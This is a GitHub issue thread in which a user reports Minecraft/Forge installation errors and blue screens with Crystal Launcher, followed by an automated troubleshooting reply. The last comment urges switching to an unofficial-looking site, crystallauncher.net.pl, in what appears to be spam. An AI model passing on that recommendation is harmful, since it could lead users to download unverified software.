Launching Minecraft using Crystal Launcher with the errors "ERROR sleep interrupted" and "There was an error during installation." occur

[karianna]

          The same problem happened to me. The issue suddenly started appearing when launching Minecraft using Crystal Launcher with the errors "ERROR sleep interrupted" and "There was an error during installation." From what I've been able to check, the error shows up every time launcher tried to install or run Forge, where the installation file is a .jar file. I've tried other launchers and got different error codes, but none of them work.

I've done a clean install of latest Java 17 jdk and the game, but I still get the same error every time. Occasionally, after about 20 attempts and restarting the computer, I can get the game to launch, but it crashes my entire computer right after I start playing, leading to a blue screen with different error messages each time. The second thing worth paying attention to is that I can run the .jar file from Forge manually and it works flawlessly.

Things that could be useful:

• I had problems with overclocking my RAM, after a while I managed to find the perfect setting where everything seemed to work properly, but since then I haven't tried to run this game. To be sure, I returned the BIOS settings to factory defaults and tried a clean installation, but the problems persisted
• I had problems with graphics card drivers to the point that I was getting blue screens. I managed to sort it out, but I don't know if the problem has been solved completely
• since I got a new computer, the game suddenly started closing at random times. This occurred quite rarely, and on old hardware and exactly the same game modification package, the problem did not occur at all
• It seems to me that the problem began to occur after one of these sudden shutdowns of the game, which would indicate corruption of the Java files, but a clean installation of practically everything did not help at all. It's also possible that I didn't do it correctly.
• I haven't tried older versions of jdk 17 or other jdks. the problem started to occur literally 3 days ago and I know that the game worked quite well on this version but I can try another one, whichever one you recommend

I will be happy to send you any additional information you need.

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Now I'm a little confused. From what I noticed, this launcher uses its own separate jdk version, specifically 17.0.1+12-LTS or something like that, when I have java version 17.0.11 2024-04-16 LTS installed on my computer. But now I have absolutely no idea why the game suddenly stopped working or why other launchers of this game don't work or what they use. Since this launcher uses its own version of jdk, it should work very well with it and the errors indicate java and a clean install should help as well. any ideas?

hs_err_pid22804.log

Originally posted by @VaDeRvR in #607 (comment)

[github-actions]

Thank you for the report!
It looks like you are reporting that the game Minecraft crashed for you. Please try the following:

• Update your graphics drivers, see this Minecraft Help Center article, section "Update your Video Card Drivers";
  often Minecraft crashes are caused by outdated graphics drivers
• In case you are using mods, try disabling them one by one until you find the mod causing the crash, then report the crash to the mod author
• If you are using a third-party launcher, try the official launcher instead

If none of the above helped, and you are still experiencing the crash with the official launcher and without any mods installed, please submit this issue over at the Mojang bug tracker. Please search for existing reports first; in case you do not find any, create a new report and let us know about the issue number here (e.g. MC-123456).
The Mojang team will take the first look. If an OpenJDK bug is identified, the Mojang team will contact the Microsoft Build of OpenJDK team to address the issue.

[alastair0cook01-source]

Your issue seems deeper than just Java or game files. Since the Forge .jar runs perfectly, the problem might be linked to the launcher itself. Sometimes, corrupted cache or misconfigured settings cause random blue screens. Try resetting your launcher setup or switching to a cleaner option like crystallauncher.net.pl, which often solves these instability problems. Also check your GPU drivers and system temperatures, as hardware faults can trigger repeated crashes.